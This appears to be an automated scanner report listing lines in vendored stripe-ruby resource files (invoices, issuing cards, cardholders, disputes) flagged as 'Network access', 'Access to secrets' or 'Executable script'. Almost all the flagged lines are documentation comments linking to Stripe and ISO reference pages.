# A VerificationSession object can be canceled when it is in requires_input [status](https://docs.stripe.com/docs/identity/how-sessions-work). - Network accessline 295
# Once canceled, future submission attempts are disabled. This cannot be undone. [Learn more](https://docs.stripe.com/docs/identity/verification-sessions#cancel). - Network accessline 305
# A VerificationSession object can be canceled when it is in requires_input [status](https://docs.stripe.com/docs/identity/how-sessions-work). - Network accessline 307
# Once canceled, future submission attempts are disabled. This cannot be undone. [Learn more](https://docs.stripe.com/docs/identity/verification-sessions#cancel). - Access to secretsline 319
[Credential-related source omitted] - Network accessline 321
# If your API key is in test mode, verification checks won't actually process, though everything else will occur as if in live mode. # # Related guide: [Verify your users' identity documents](https://docs.stripe.com/docs/identit - Network accessline 323
# Related guide: [Verify your users' identity documents](https://docs.stripe.com/docs/identity/verify-identity-documents) - Network accessline 346
# # A VerificationSession object can be redacted when it is in requires_input or verified # [status](https://docs.stripe.com/docs/identity/how-sessions-work). Redacting a VerificationSession in requires_action - Network accessline 347
# A VerificationSession object can be redacted when it is in requires_input or verified # [status](https://docs.stripe.com/docs/identity/how-sessions-work). Redacting a VerificationSession in requires_action # state will automat - Network accessline 348
# [status](https://docs.stripe.com/docs/identity/how-sessions-work). Redacting a VerificationSession in requires_action - Network accessline 359
# used for any purpose. # # [Learn more](https://docs.stripe.com/docs/identity/verification-sessions#redact). - Network accessline 361
# [Learn more](https://docs.stripe.com/docs/identity/verification-sessions#redact). - Network accessline 374
# # A VerificationSession object can be redacted when it is in requires_input or verified # [status](https://docs.stripe.com/docs/identity/how-sessions-work). Redacting a VerificationSession in requires_action - Network accessline 375
# A VerificationSession object can be redacted when it is in requires_input or verified # [status](https://docs.stripe.com/docs/identity/how-sessions-work). Redacting a VerificationSession in requires_action # state will automat - Network accessline 376
# [status](https://docs.stripe.com/docs/identity/how-sessions-work). Redacting a VerificationSession in requires_action - Network accessline 387
# used for any purpose. # # [Learn more](https://docs.stripe.com/docs/identity/verification-sessions#redact). - Network accessline 389
# [Learn more](https://docs.stripe.com/docs/identity/verification-sessions#redact).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/invoice.rb
- Executable scriptline 1
Executable file - Network accessline 6
# generated one-off, or generated periodically from a subscription. # # They contain [invoice items](https://api.stripe.com#invoiceitems), and proration adjustments - Network accessline 7
# # They contain [invoice items](https://api.stripe.com#invoiceitems), and proration adjustments # that may be caused by subscription upgrades/downgrades (if necessary). - Network accessline 8
# They contain [invoice items](https://api.stripe.com#invoiceitems), and proration adjustments - Network accessline 12
# Stripe automatically finalizes your invoice and attempts payment. Note # that finalizing the invoice, # [when automatic](https://docs.stripe.com/invoicing/integration/automatic-advancement-collection), does - Network accessline 13
# that finalizing the invoice, # [when automatic](https://docs.stripe.com/invoicing/integration/automatic-advancement-collection), does # not happen immediately as the invoice is created. Stripe waits - Network accessline 14
# [when automatic](https://docs.stripe.com/invoicing/integration/automatic-advancement-collection), does - Network accessline 20
# # If your invoice is configured to be billed by sending an email, then based on your # [email settings](https://dashboard.stripe.com/account/billing/automatic), - Network accessline 21
# If your invoice is configured to be billed by sending an email, then based on your # [email settings](https://dashboard.stripe.com/account/billing/automatic), # Stripe will email the invoice to your customer and await payment. These - Network accessline 22
# [email settings](https://dashboard.stripe.com/account/billing/automatic), - Network accessline 27
# amount due for the invoice (i.e., the amount that will be actually # charged). If the amount due for the invoice is less than Stripe's [minimum allowed charge # per currency](https://docs.stripe.com/docs/currencies#minimum-and-maximum - Network accessline 28
# charged). If the amount due for the invoice is less than Stripe's [minimum allowed charge # per currency](https://docs.stripe.com/docs/currencies#minimum-and-maximum-charge-amounts), the # invoice is automatically marked paid, and we - Network accessline 29
# per currency](https://docs.stripe.com/docs/currencies#minimum-and-maximum-charge-amounts), the - Network accessline 32
# # More details on the customer's credit balance are # [here](https://docs.stripe.com/billing/customer/balance). - Network accessline 33
# More details on the customer's credit balance are # [here](https://docs.stripe.com/billing/customer/balance). # - Network accessline 34
# [here](https://docs.stripe.com/billing/customer/balance). - Network accessline 36
# Related guide: [Send invoices to customers](https://docs.stripe.com/billing/invoices/sending) - Network accessline 69
# Whether Stripe automatically computes tax on this invoice. Note that incompatible invoice items (invoice items with manually specified [tax rates](https://docs.stripe.com/api/tax_rates), negative amounts, or `tax_behavior=unspecified`) ca - Access to secretsline 88
[Credential-related source omitted] - Access to secretsline 89
[Credential-related source omitted] - Access to secretsline 90
[Credential-related source omitted] - Network accessline 120
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 128
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 144
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 152
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 229
# For card errors resulting from a card issuer decline, a short string indicating [how to proceed with an error](https://docs.stripe.com/declines#retrying-issuer-declines) if they provide one. - Network accessline 233
# For some errors that could be handled programmatically, a short string indicating the [error code](https://docs.stripe.com/error-codes) reported. - Network accessline 235
# For card errors resulting from a card issuer decline, a short string indicating the [card issuer's reason for the decline](https://docs.stripe.com/declines#issuer-declines) if they provide one. - Network accessline 237
# A URL to more information about the [error code](https://docs.stripe.com/error-codes) reported. - Network accessline 255
# authentication flows and ultimately creates at most one successful charge. # # Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents) - Network accessline 257
# Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents) - Network accessline 259
# PaymentMethod objects represent your customer's payment instruments. # You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to - Network accessline 260
# You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to - Network accessline 261
# Customer objects to store instrument details for future payments. # # Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payme - Network accessline 263
# Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payment-scenarios). - Network accessline 269
# A SetupIntent guides you through the process of setting up and saving a customer's payment credentials for future payments. # For example, you can use a SetupIntent to set up and save your customer's card without immediately collect - Network accessline 270
# For example, you can use a SetupIntent to set up and save your customer's card without immediately collecting a payment. # Later, you can use [PaymentIntents](https://api.stripe.com#payment_intents) to drive the payment flow. - Network accessline 271
# Later, you can use [PaymentIntents](https://api.stripe.com#payment_intents) to drive the payment flow. - Network accessline 273
# Create a SetupIntent when you're ready to collect your customer's payment credentials. # Don't maintain long-lived, unconfirmed SetupIntents because they might not be valid. # The SetupIntent transitions through multiple [stat - Network accessline 274
# Don't maintain long-lived, unconfirmed SetupIntents because they might not be valid. # The SetupIntent transitions through multiple [statuses](https://docs.stripe.com/payments/intents#intent-statuses) as it guides # you throug - Network accessline 275
# The SetupIntent transitions through multiple [statuses](https://docs.stripe.com/payments/intents#intent-statuses) as it guides - Network accessline 277
# # Successful SetupIntents result in payment credentials that are optimized for future payments. # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run thr - Network accessline 278
# Successful SetupIntents result in payment credentials that are optimized for future payments. # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run through - Network accessline 279
# For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run through - Network accessline 280
# [Strong Customer Authentication](https://docs.stripe.com/strong-customer-authentication) during payment method collection - Network accessline 281
# to streamline later [off-session payments](https://docs.stripe.com/payments/setup-intents). - Network accessline 282
# If you use the SetupIntent with a [Customer](https://api.stripe.com#setup_intent_object-customer), - Network accessline 283
# it automatically attaches the resulting payment method to that Customer after successful setup. # We recommend using SetupIntents or [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) on # Pa - Network accessline 284
# We recommend using SetupIntents or [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) on - Network accessline 287
# By using SetupIntents, you can reduce friction for your customers, even as regulations change over time. # # Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents) - Network accessline 289
# Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents) - Network accessline 320
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) defined as subscription metadata when an invoice is created. Becomes an immutable snapshot of the subscription metadata at the time of invoice finalization. - Network accessline 412
# We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to - Network accessline 594
# The list of payment method types (e.g. card) to provide to the invoice’s PaymentIntent. If not set, Stripe attempts to automatically determine the types to use by looking at the invoice’s default payment method, the subscription’s default - Network accessline 682
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 690
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 859
# Controls whether Stripe performs [automatic collection](https://docs.stripe.com/invoicing/integration/automatic-advancement-collection) of the invoice. If `false`, the invoice's state doesn't automatically advance without an explicit acti - Access to secretsline 877
[Credential-related source omitted] - Network accessline 881
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 921
# Details of the invoice that was cloned. See the [revision documentation](https://docs.stripe.com/invoicing/invoice-revisions) for more details. - Network accessline 925
# Unique identifier for the object. For preview invoices created using the [create preview](https://stripe.com/docs/api/invoices/create_preview) endpoint, this id will be prefixed with `upcoming_in`. - Network accessline 939
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 947
# The account (if any) for which the funds of the invoice payment are intended. If set, the invoice will be presented with the branding and support information of the specified account. See the [Invoices with Connect](https://docs.stripe.co - Network accessline 975
# The status of the invoice, one of `draft`, `open`, `paid`, `uncollectible`, or `void`. [Learn more](https://docs.stripe.com/billing/invoices/workflow#workflow-overview) - Network accessline 997
# Invoices are automatically paid or sent 1 hour after webhooks are delivered, or until all webhook delivery attempts have [been exhausted](https://docs.stripe.com/billing/webhooks#understand). This field tracks the time when webhooks for t - Network accessline 1029
# credited to the invoice immediately. # # See: [Partial payments](https://docs.stripe.com/docs/invoicing/partial-payments) to learn more. - Network accessline 1031
# See: [Partial payments](https://docs.stripe.com/docs/invoicing/partial-payments) to learn more. - Network accessline 1048
# credited to the invoice immediately. # # See: [Partial payments](https://docs.stripe.com/docs/invoicing/partial-payments) to learn more. - Network accessline 1050
# See: [Partial payments](https://docs.stripe.com/docs/invoicing/partial-payments) to learn more. - Network accessline 1060
# This endpoint creates a draft invoice for a given customer. The invoice remains a draft until you [finalize the invoice, which allows you to [pay](#pay_invoice) or <a href="#send_invoice">send](https://docs.stripe.com/api#finalize_invoice - Network accessline 1071
# Note that when you are viewing an upcoming invoice, you are simply viewing a preview – the invoice has not yet been created. As such, the upcoming invoice will not show up in invoice listing calls, and you cannot use the API to pay or edi - Network accessline 1073
# Note: Currency conversion calculations use the latest exchange rates. Exchange rates may vary between the time of the preview and the time of the actual invoice creation. [Learn more](https://docs.stripe.com/currencies/conversions) - Network accessline 1083
# Permanently deletes a one-off invoice draft. This cannot be undone. Attempts to delete invoices that are no longer in a draft state will fail; once an invoice has been finalized or if an invoice is for a subscription, it must be [voided]( - Network accessline 1093
# Permanently deletes a one-off invoice draft. This cannot be undone. Attempts to delete invoices that are no longer in a draft state will fail; once an invoice has been finalized or if an invoice is for a subscription, it must be [voided]( - Network accessline 1148
# Stripe automatically creates and then attempts to collect payment on invoices for customers on subscriptions according to your [subscriptions settings](https://dashboard.stripe.com/account/billing/automatic). However, if you'd like to att - Network accessline 1158
# Stripe automatically creates and then attempts to collect payment on invoices for customers on subscriptions according to your [subscriptions settings](https://dashboard.stripe.com/account/billing/automatic). However, if you'd like to att - Network accessline 1196
# Stripe will automatically send invoices to customers according to your [subscriptions settings](https://dashboard.stripe.com/account/billing/automatic). However, if you'd like to manually send an invoice to your customer out of the normal - Network accessline 1208
# Stripe will automatically send invoices to customers according to your [subscriptions settings](https://dashboard.stripe.com/account/billing/automatic). However, if you'd like to manually send an invoice to your customer out of the normal - Network accessline 1220
# Draft invoices are fully editable. Once an invoice is [finalized](https://docs.stripe.com/docs/billing/invoices/workflow#finalized), - Network accessline 1222
# # If you would like to stop the Stripe Billing engine from automatically finalizing, reattempting payments on, # sending reminders for, or [automatically reconciling](https://docs.stripe.com/docs/billing/invoices/reconciliation) i - Network accessline 1223
# If you would like to stop the Stripe Billing engine from automatically finalizing, reattempting payments on, # sending reminders for, or [automatically reconciling](https://docs.stripe.com/docs/billing/invoices/reconciliation) invoice - Network accessline 1224
# sending reminders for, or [automatically reconciling](https://docs.stripe.com/docs/billing/invoices/reconciliation) invoices, pass - Network accessline 1255
# Mark a finalized invoice as void. This cannot be undone. Voiding an invoice is similar to [deletion](https://docs.stripe.com/api#delete_invoice), however it only applies to finalized invoices and maintains a papertrail where the invoice c - Network accessline 1257
# Consult with local regulations to determine whether and how an invoice might be amended, canceled, or voided in the jurisdiction you're doing business in. You might need to [issue another invoice or <a href="#create_credit_note">credit no - Network accessline 1267
# Mark a finalized invoice as void. This cannot be undone. Voiding an invoice is similar to [deletion](https://docs.stripe.com/api#delete_invoice), however it only applies to finalized invoices and maintains a papertrail where the invoice c - Network accessline 1269
# Consult with local regulations to determine whether and how an invoice might be amended, canceled, or voided in the jurisdiction you're doing business in. You might need to [issue another invoice or <a href="#create_credit_note">credit no
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/invoice_item.rb
- Executable scriptline 1
Executable file - Network accessline 5
# Invoice Items represent the component lines of an [invoice](https://docs.stripe.com/api/invoices). When you create an invoice item with an `invoice` field, it is attached to the specified invoice and included as [an invoice line item](htt - Network accessline 6
# # Invoice Items can be created before you are ready to actually send the invoice. This can be particularly useful when combined # with a [subscription](https://docs.stripe.com/api/subscriptions). Sometimes you want to add a charge or - Network accessline 7
# Invoice Items can be created before you are ready to actually send the invoice. This can be particularly useful when combined # with a [subscription](https://docs.stripe.com/api/subscriptions). Sometimes you want to add a charge or cred - Network accessline 8
# with a [subscription](https://docs.stripe.com/api/subscriptions). Sometimes you want to add a charge or credit to a customer, but actually charge - Network accessline 10
# (to minimize per-transaction fees), or for having Stripe tabulate your usage-based billing totals. # # Related guides: [Integrate with the Invoicing API](https://docs.stripe.com/invoicing/integration), [Subscription Invoices](https:// - Network accessline 12
# Related guides: [Integrate with the Invoicing API](https://docs.stripe.com/invoicing/integration), [Subscription Invoices](https://docs.stripe.com/billing/invoices/subscription#adding-upcoming-invoice-items). - Network accessline 127
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 147
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/invoice_line_item.rb
- Executable scriptline 1
Executable file - Network accessline 5
# Invoice Line Items represent the individual lines within an [invoice](https://docs.stripe.com/api/invoices) and only exist within the context of an invoice. - Network accessline 7
# Each line item is backed by either an [invoice item](https://docs.stripe.com/api/invoiceitems) or a [subscription item](https://docs.stripe.com/api/subscription_items). - Network accessline 243
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 259
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Note that for line items with `type=subscripti
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/invoice_payment.rb
- Executable scriptline 1
Executable file - Network accessline 5
# Invoice Payments represent payments made against invoices. Invoice Payments can # be accessed in two ways: # 1. By expanding the `payments` field on the [Invoice](https://api.stripe.com#invoice) resource. - Network accessline 6
# be accessed in two ways: # 1. By expanding the `payments` field on the [Invoice](https://api.stripe.com#invoice) resource. # 2. By using the Invoice Payment retrieve and list endpoints. - Network accessline 7
# 1. By expanding the `payments` field on the [Invoice](https://api.stripe.com#invoice) resource. - Network accessline 60
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/invoice_rendering_template.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/issuing/authorization.rb
- Executable scriptline 1
Executable file - Network accessline 6
# When an [issued card](https://docs.stripe.com/issuing) is used to make a purchase, an Issuing `Authorization` - Network accessline 7
# object is created. [Authorizations](https://docs.stripe.com/issuing/purchases/authorizations) must be approved for the - Network accessline 8
# purchase to be completed successfully. # # Related guide: [Issued card authorizations](https://docs.stripe.com/issuing/purchases/authorizations) - Network accessline 10
# Related guide: [Issued card authorizations](https://docs.stripe.com/issuing/purchases/authorizations) - Network accessline 155
# [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased. - Network accessline 176
# A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values. - Network accessline 240
# The additional amount Stripe will hold if the authorization is approved, in the card's [currency](https://docs.stripe.com/api#issuing_authorization_object-pending-request-currency) and in the [smallest currency unit](https://docs.stripe.c - Network accessline 242
# Detailed breakdown of amount components. These amounts are denominated in `currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 244
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 246
# If set `true`, you may provide [amount](https://docs.stripe.com/api/issuing/authorizations/approve#approve_issuing_authorization-amount) to control how much to hold for the authorization. - Network accessline 248
# The amount the merchant is requesting to be authorized in the `merchant_currency`. The amount is in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 279
# The `pending_request.amount` at the time of the request, presented in your card's currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Stripe held this amount from your account to fund the authori - Network accessline 281
# Detailed breakdown of amount components. These amounts are denominated in `currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 289
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 291
# The `pending_request.merchant_amount` at the time of the request, presented in the `merchant_currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 293
# The currency that was collected by the merchant and presented to the cardholder for the authorization. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https: - Network accessline 314
# The array of [ReceivedCredits](https://docs.stripe.com/api/treasury/received_credits) associated with this authorization - Network accessline 316
# The array of [ReceivedDebits](https://docs.stripe.com/api/treasury/received_debits) associated with this authorization - Network accessline 318
# The Treasury [Transaction](https://docs.stripe.com/api/treasury/transactions) associated with this authorization - Network accessline 384
# The total amount that was authorized or rejected. This amount is in `currency` and in the [smallest currency unit](https://stripe.com/docs/currencies#zero-decimal). `amount` should be the same as `merchant_amount`, unless `currency` and ` - Network accessline 386
# Detailed breakdown of amount components. These amounts are denominated in `currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 394
# You can [create physical or virtual cards](https://docs.stripe.com/issuing) that are issued to cardholders. - Network accessline 400
# The currency of the cardholder. This currency can be different from the currency presented at authorization and the `merchant_currency` field on this authorization. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-co - Network accessline 412
# The total amount that was authorized or rejected. This amount is in the `merchant_currency` and in the [smallest currency unit](https://stripe.com/docs/currencies#zero-decimal). `merchant_amount` should be the same as `amount`, unless `me - Network accessline 414
# The local currency that was presented to the cardholder for the authorization. This currency can be different from the cardholder currency and the `currency` field on this authorization. Three-letter [ISO currency code](https://www.iso.or - Network accessline 418
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 430
# [Token](https://docs.stripe.com/api/issuing/tokens/object) object used for this authorization. If a network token was not used for this authorization, this field will be null. - Network accessline 432
# List of [transactions](https://docs.stripe.com/api/issuing/transactions) associated with this authorization. - Network accessline 434
# [Treasury](https://docs.stripe.com/api/treasury) details related to this authorization if it was created on a [FinancialAccount](https://docs.stripe.com/api/treasury/financial_accounts). - Network accessline 443
# [Deprecated] Approves a pending Issuing Authorization object. This request should be made within the timeout window of the [real-time authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizations) flow. - Network accessline 444
# This method is deprecated. Instead, [respond directly to the webhook request to approve an authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizations#authorization-handling). - Network accessline 455
# [Deprecated] Approves a pending Issuing Authorization object. This request should be made within the timeout window of the [real-time authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizations) flow. - Network accessline 456
# This method is deprecated. Instead, [respond directly to the webhook request to approve an authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizations#authorization-handling). - Network accessline 471
# [Deprecated] Declines a pending Issuing Authorization object. This request should be made within the timeout window of the [real time authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizations) flow. - Network accessline 472
# This method is deprecated. Instead, [respond directly to the webhook request to decline an authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizations#authorization-handling). - Network accessline 483
# [Deprecated] Declines a pending Issuing Authorization object. This request should be made within the timeout window of the [real time authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizations) flow. - Network accessline 484
# This method is deprecated. Instead, [respond directly to the webhook request to decline an authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizations#authorization-handling).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/issuing/card.rb
- Executable scriptline 1
Executable file - Network accessline 6
# You can [create physical or virtual cards](https://docs.stripe.com/issuing) that are issued to cardholders. - Network accessline 36
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 44
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 60
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 68
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 96
# A registration number used for customs in Europe. See [https://www.gov.uk/eori](https://www.gov.uk/eori) for the UK and [https://ec.europa.eu/taxation_customs/business/customs-procedures-import-and-export/customs-procedures/economic-opera - Network accessline 149
# Maximum amount allowed to spend per interval. This amount is in the card's currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 151
# Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) this limit applies to. Omitting this field will apply the limit to all categories. - Network accessline 164
# Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to allow. All other categories will be blocked. Cannot be set with `blocked_categories`. - Network accessline 168
# Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to decline. All other categories will be allowed. Cannot be set with `allowed_categories`. - Network accessline 235
# An Issuing `Cardholder` object represents an individual or business entity who is [issued](https://docs.stripe.com/issuing) cards. - Network accessline 237
# Related guide: [How to create a cardholder](https://docs.stripe.com/issuing/cards/virtual/issue-cards#create-cardholder) - Network accessline 241
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Supported currencies are `usd` in the US, `eur` in the EU, and `gbp` in the UK. - Network accessline 243
# The card's CVC. For security reasons, this is only available for virtual cards, and will be omitted unless you explicitly request it with [the `expand` parameter](https://docs.stripe.com/api/expanding_objects). Additionally, it's only ava - Network accessline 259
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 261
# The full unredacted card number. For security reasons, this is only available for virtual cards, and will be omitted unless you explicitly request it with [the `expand` parameter](https://docs.stripe.com/api/expanding_objects). Additional
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/issuing/cardholder.rb
- Executable scriptline 1
Executable file - Network accessline 6
# An Issuing `Cardholder` object represents an individual or business entity who is [issued](https://docs.stripe.com/issuing) cards. - Network accessline 8
# Related guide: [How to create a cardholder](https://docs.stripe.com/issuing/cards/virtual/issue-cards#create-cardholder) - Network accessline 23
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 31
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 85
# Information about cardholder acceptance of Celtic [Authorized User Terms](https://stripe.com/docs/issuing/cards#accept-authorized-user-terms). Required for cards backed by a Celtic program. - Network accessline 116
# The back of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. - Network accessline 118
# The front of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. - Network accessline 177
# Maximum amount allowed to spend per interval. This amount is in the card's currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 179
# Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) this limit applies to. Omitting this field will apply the limit to all categories. - Network accessline 192
# Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to allow. All other categories will be blocked. Cannot be set with `blocked_categories`. - Network accessline 196
# Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to decline. All other categories will be allowed. Cannot be set with `allowed_categories`. - Network accessline 227
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 233
# The cardholder's phone number. This is required for all cardholders who will be creating EU cards. See the [3D Secure documentation](https://docs.stripe.com/issuing/3d-secure#when-is-3d-secure-applied) for more details. - Network accessline 235
# The cardholder’s preferred locales (languages), ordered by preference. Locales can be `de`, `en`, `es`, `fr`, or `it`. # This changes the language of the [3D Secure flow](https://docs.stripe.com/issuing/3d-secure) and one-time pass - Network accessline 236
# This changes the language of the [3D Secure flow](https://docs.stripe.com/issuing/3d-secure) and one-time password messages sent to the cardholder. - Network accessline 240
# Rules that control spending across this cardholder's cards. Refer to our [documentation](https://docs.stripe.com/issuing/controls/spending-controls) for more details. - Network accessline 244
# One of `individual` or `company`. See [Choose a cardholder type](https://docs.stripe.com/issuing/other/choose-cardholder) for more details.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/issuing/dispute.rb
- Executable scriptline 1
Executable file - Network accessline 6
# As a [card issuer](https://docs.stripe.com/issuing), you can dispute transactions that the cardholder does not recognize, suspects to be fraudulent, or has other issues with. - Network accessline 8
# Related guide: [Issuing disputes](https://docs.stripe.com/issuing/purchases/disputes) - Network accessline 21
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 52
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 54
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Copy of the card statement showing that the product had already been paid for. - Network accessline 56
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Copy of the receipt showing that the product had been paid for in cash. - Network accessline 58
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Image of the front and back of the check that was used to pay for the product. - Network accessline 75
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 90
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 113
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 128
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 149
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 168
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 225
# The Treasury [DebitReversal](https://docs.stripe.com/api/treasury/debit_reversals) representing this Issuing dispute - Network accessline 227
# The Treasury [ReceivedDebit](https://docs.stripe.com/api/treasury/received_debits) that is being disputed. - Network accessline 238
# Disputed amount in the card's currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Usually the amount of the `transaction`, but can differ (usually because of currency fluctuation). - Network accessline 254
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 262
# [Treasury](https://docs.stripe.com/api/treasury) details related to this dispute if it was created on a [FinancialAccount](/docs/api/treasury/financial_accounts - Network accessline 265
# Creates an Issuing Dispute object. Individual pieces of evidence within the evidence object are optional at this point. Stripe only validates that required evidence is present during submission. Refer to [Dispute reasons and evidence](htt - Network accessline 285
# Submits an Issuing Dispute to the card network. Stripe validates that all evidence fields required for the dispute's reason are present. For more details, see [Dispute reasons and evidence](https://docs.stripe.com/docs/issuing/purchases/d - Network accessline 295
